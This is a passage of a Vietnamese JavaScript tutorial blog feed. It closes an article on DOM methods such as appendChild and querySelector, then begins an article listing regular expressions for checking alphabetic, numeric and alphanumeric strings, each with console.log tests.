= 'id'.</p> <h3 id="noderemovechildchild" style="position:relative;"><a href="#noderemovechildchild" aria-label="noderemovechildchild permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/removeChild">Node.removeChild(child)</a></h3> <p>bỏ đi node <em>child</em> của một node và trả về node bị bỏ đi.</p> <h3 id="nodeappendchildchild" style="position:relative;"><a href="#nodeappendchildchild" aria-label="nodeappendchildchild permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en/docs/Web/API/Node/appendChild">Node.appendChild(child)</a></h3> <p>thêm node <em>child</em> vào cuối danh sách <em>childNodes</em> của một node.</p> <h3 id="nodeinsertbeforenewnode-referencenode" style="position:relative;"><a href="#nodeinsertbeforenewnode-referencenode" aria-label="nodeinsertbeforenewnode referencenode permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/insertBefore">Node.insertBefore(newNode, referenceNode)</a></h3> <p>chèn thêm node <em>newNode</em> vào phía trước node <em>referenceNode</em>.</p> <h3 id="nodereplacechildnewchild-oldchild" style="position:relative;"><a href="#nodereplacechildnewchild-oldchild" aria-label="nodereplacechildnewchild oldchild permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/replaceChild">Node.replaceChild(newChild, oldChild)</a></h3> <p>thay thế node <em>oldChild</em> bằng node <em>newChild</em>.</p> <h3 id="documentcreatetextnodedata" style="position:relative;"><a href="#documentcreatetextnodedata" aria-label="documentcreatetextnodedata permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/createTextNode">Document.createTextNode(data)</a></h3> <p>Tạo ra một node kiểu text với giá trị text là <em>data</em>.</p> <h3 id="documentcreateelementtagname" style="position:relative;"><a href="#documentcreateelementtagname" aria-label="documentcreateelementtagname permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/createElement">Document.createElement(tagName)</a></h3> <p>Tạo ra một node mới có kiểu là <em>tagName</em> (<em>h1, h2, p, img, div,...</em>)</p> <h3 id="documentqueryselectorselectors" style="position:relative;"><a href="#documentqueryselectorselectors" aria-label="documentqueryselectorselectors permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector">Document.querySelector(selectors)</a></h3> <p>Trả về node đầu tiên thoả mãn <em>selectors</em>. Trong đó, <em>selectors</em> là một string chứa một hay nhiều <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors">CSS-selector</a> phân cách nhau bằng dấu phẩy.</p> <h3 id="documentqueryselectorallselectors" style="position:relative;"><a href="#documentqueryselectorallselectors" aria-label="documentqueryselectorallselectors permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelectorAll">Document.querySelectorAll(selectors)</a></h3> <p>Trả về danh sách các node thoả mãn <em>selectors</em>, theo thứ tự sử dụng thuật toán DFS.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABvElEQVQoz02STa6iQBSFXZN7YOzIDbgFt8DADZi4AqfOnRkDITGGPNqWRwjSdOSh9V9QTVXxYzqAz+cZVurLvfecMwIAIIQIIZRSznnRSwjx71tCiOGRc04pJYQghAAA9/t9BCEcyDzPu79lKZWSSimtddVJay2lLL5FKcUYQwg7GCFEKUUIeZ73y/PCz8/Tx0ccx3EUBb4fBMH5fPY8j3Pu+75pmsvlMgiCYfgTJoRYjnO2bWxZmWXBw4HaNjoczq5r2XYURXVdO45jmuZ6vY7jmBDSwRjjAT4ej57rgiyLwjD0/TRJoiD4fTqlaVpp3TTNdrs1TXO1Wm02G4wxQugJM8aKoij7g6uqquu6advH49G2bdM0uocnk8lisZjP5+PxOMsyQshosJoxlue5EKIsS/Xim6au66qqlFJt2xqGMZvNptOpYRhZlmGMe5gyxnnO+ZCQlD9ma62VUrKX4zj7/X6327mu+zQMQsi/Yg5vPC+KPq1u+Z4fJKUsy1IIMWyhtRZC/MBlcsJ/w8uf5HKJkiS5Xq9pmiKEpJTvPWGMvUJ+5gwAwPcvDAEeStYf/+rZe73eYQDA7Xb7D9KiSxD9Sq9lAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Perfect practice makes perfect - Complete JavaScript - completejavascript.com" title="Perfect practice makes perfect - Complete JavaScript - completejavascript.com" src="/static/bb6b968cfe13d231995307e6efd5045a/7c811/only-perfect-practice-makes-perfect-completejavascript.com_.png" srcset="/static/bb6b968cfe13d231995307e6efd5045a/103f2/only-perfect-practice-makes-perfect-completejavascript.com_.png 165w, /static/bb6b968cfe13d231995307e6efd5045a/748ba/only-perfect-practice-makes-perfect-completejavascript.com_.png 330w, /static/bb6b968cfe13d231995307e6efd5045a/7c811/only-perfect-practice-makes-perfect-completejavascript.com_.png 660w, /static/bb6b968cfe13d231995307e6efd5045a/a27c6/only-perfect-practice-makes-perfect-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="ví-dụ-sử-dụng-dom-trong-javascript" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-s%E1%BB%AD-d%E1%BB%A5ng-dom-trong-javascript" aria-label="ví dụ sử dụng dom trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ sử dụng DOM trong JavaScript</h2> <p>"Cách học tốt nhất là học từ thực hành". Sau đây là một số bài tập thực hành sử dụng DOM và các phương thức trên mà mình đã thực hiện (phần đề bài ở trang mà mình đã tham khảo, xem phía dưới).</p> <h3 id="build-a-table" style="position:relative;"><a href="#build-a-table" aria-label="build a table permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Build a table</h3> <p>Tham khảo code tại <a href="https://github.com/completejavascript/practical-javascript/blob/master/DOM_basic/build_a_table_completejavascript.com.js">đây</a>.</p> <h3 id="elements-by-tag-name" style="position:relative;"><a href="#elements-by-tag-name" aria-label="elements by tag name permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Elements by Tag Name</h3> <p>Tham khảo code tại <a href="https://github.com/completejavascript/practical-javascript/blob/master/DOM_basic/elements_by_tag_name_completejavascript.com.js">đây</a>.</p> <h3 id="the-cats-hat" style="position:relative;"><a href="#the-cats-hat" aria-label="the cats hat permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The cat's hat</h3> <p>Tham khảo code tại <a href="https://github.com/completejavascript/practical-javascript/blob/master/DOM_basic/cat_hat.completejavascript.com.js">đây</a>.</p> <p>Xin chào và hẹn gặp lại bạn trong <a href="/xu-ly-mot-event-javascript-co-ban/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <p><a href="http://eloquentjavascript.net/14_dom.html">The Document Object Model</a></p>[email protected]<![CDATA[Một số biểu thức chính quy RegExp hay]]><![CDATA[Trong bài viết tìm hiểu Regular Expression JavaScript, mình có giới thiệu với bạn về Regular Expression trong JavaScript rồi. Hy vọng qua bài viết đó, bạn đã biết và hiểu về các cú…]]>https://completejavascript.com/mot-so-bieu-thuc-chinh-quy-regexp-hay/https://completejavascript.com/mot-so-bieu-thuc-chinh-quy-regexp-hay/<![CDATA[RegExp]]>Sun, 30 Jul 2017 23:00:31 GMT<p>Trong bài viết <a href="/tim-hieu-regular-expression-javascript/">tìm hiểu Regular Expression JavaScript</a>, mình có giới thiệu với bạn về Regular Expression trong JavaScript rồi. Hy vọng qua bài viết đó, bạn đã biết và hiểu về các cú pháp cơ bản của RegExp. Còn trong trường hợp bạn vẫn chưa biết gì về nó, mình khuyên bạn nên quay lại bài viết kia để tìm hiểu về RegExp thật kỹ trước đã. Vì trong bài viết này, mình sẽ chỉ tổng hợp lại một số biểu thức chính quy RegExp hay mà mình sưu tầm được và sẽ không giải thích gì nhiều.</p> <p>Trước khi đi vào nội dung chính của bài viết, mình sẽ tóm tắt lại một số kiến thức cơ bản về biểu thức chính quy RegExp để bạn tiện theo dõi:</p> <ul> <li>/abc/ : chuỗi các kí tự abc</li> <li>/[abc]: bất kỳ kí tự nào thuộc tập hợp a, b, c</li> <li>/[^abc]: bất kỳ kí tự nào không thuộc tập a, b, c</li> <li>/[0-9]/: bất kỳ kí tự nào thuộc đoạn từ 0 đến 9</li> <li>/x+/: thành phần x xuất hiện >= 1 lần</li> <li>/x*/: thành phần x xuất hiện >= 0 lần (có thể không xuất hiện)</li> <li>/x?/: thành phần x xuất hiện 0 hoặc 1 lần</li> <li>/x{2, 4}/: thành phần x xuất hiện từ 2 đến 4 lần</li> <li>/(abc)/: cụm abc</li> <li>/a|b|c/: bất kì pattern nào trong 3 loại a, b, c</li> <li>/\d/: chữ số từ 0 đến 9</li> <li>/\w/: chữ cái</li> <li>/\s/: kí tự trắng (dấu cách, tab, dòng mới,…)</li> <li>/./ : bất kỳ kí tự nào trừ dòng mới</li> <li>/\b/: ranh giới từ</li> <li>/^/: bắt đầu string</li> <li>/$/: kết thúc string</li> </ul> <p>Bây giờ, mình bắt đầu vào nội dung chính nhé!</p> <h2 id="kiểm-tra-string-chỉ-chứa-chữ-cái-a-za-z" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-ch%E1%BB%89-ch%E1%BB%A9a-ch%E1%BB%AF-c%C3%A1i-a-za-z" aria-label="kiểm tra string chỉ chứa chữ cái a za z permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string chỉ chứa chữ cái (a-zA-Z)</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[a-zA-Z]+$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isAlpha <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[a-zA-Z]+$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isAlpha<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"javascript"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isAlpha<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"JavaScript"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isAlpha<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"2019"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isAlpha<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"javascript2019"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isAlpha<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"J@vascr!pt"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isAlpha<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"java script"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isAlpha<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"java-script"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isAlpha<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="kiểm-tra-string-chỉ-chứa-số-0-9" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-ch%E1%BB%89-ch%E1%BB%A9a-s%E1%BB%91-0-9" aria-label="kiểm tra string chỉ chứa số 0 9 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string chỉ chứa số (0-9)</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^\d+$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isNumeric <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^\d+$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"2019"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"javascript"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"JavaScript"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"20 19"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"javascript2019"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"J@vascr!pt"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"java script"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"java-script"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="kiểm-tra-string-chỉ-chứa-chữ-cái-a-za-z-và-số-0-9" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-ch%E1%BB%89-ch%E1%BB%A9a-ch%E1%BB%AF-c%C3%A1i-a-za-z-v%C3%A0-s%E1%BB%91-0-9" aria-label="kiểm tra string chỉ chứa chữ cái a za z và số 0 9 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string chỉ chứa chữ cái (a-zA-Z) và số (0-9)</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[a-zA-Z0-9]+$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isNumeric <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[a-zA-Z0-9]+$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"javascript"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"JavaScript"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"2019"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"javascript2019"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span 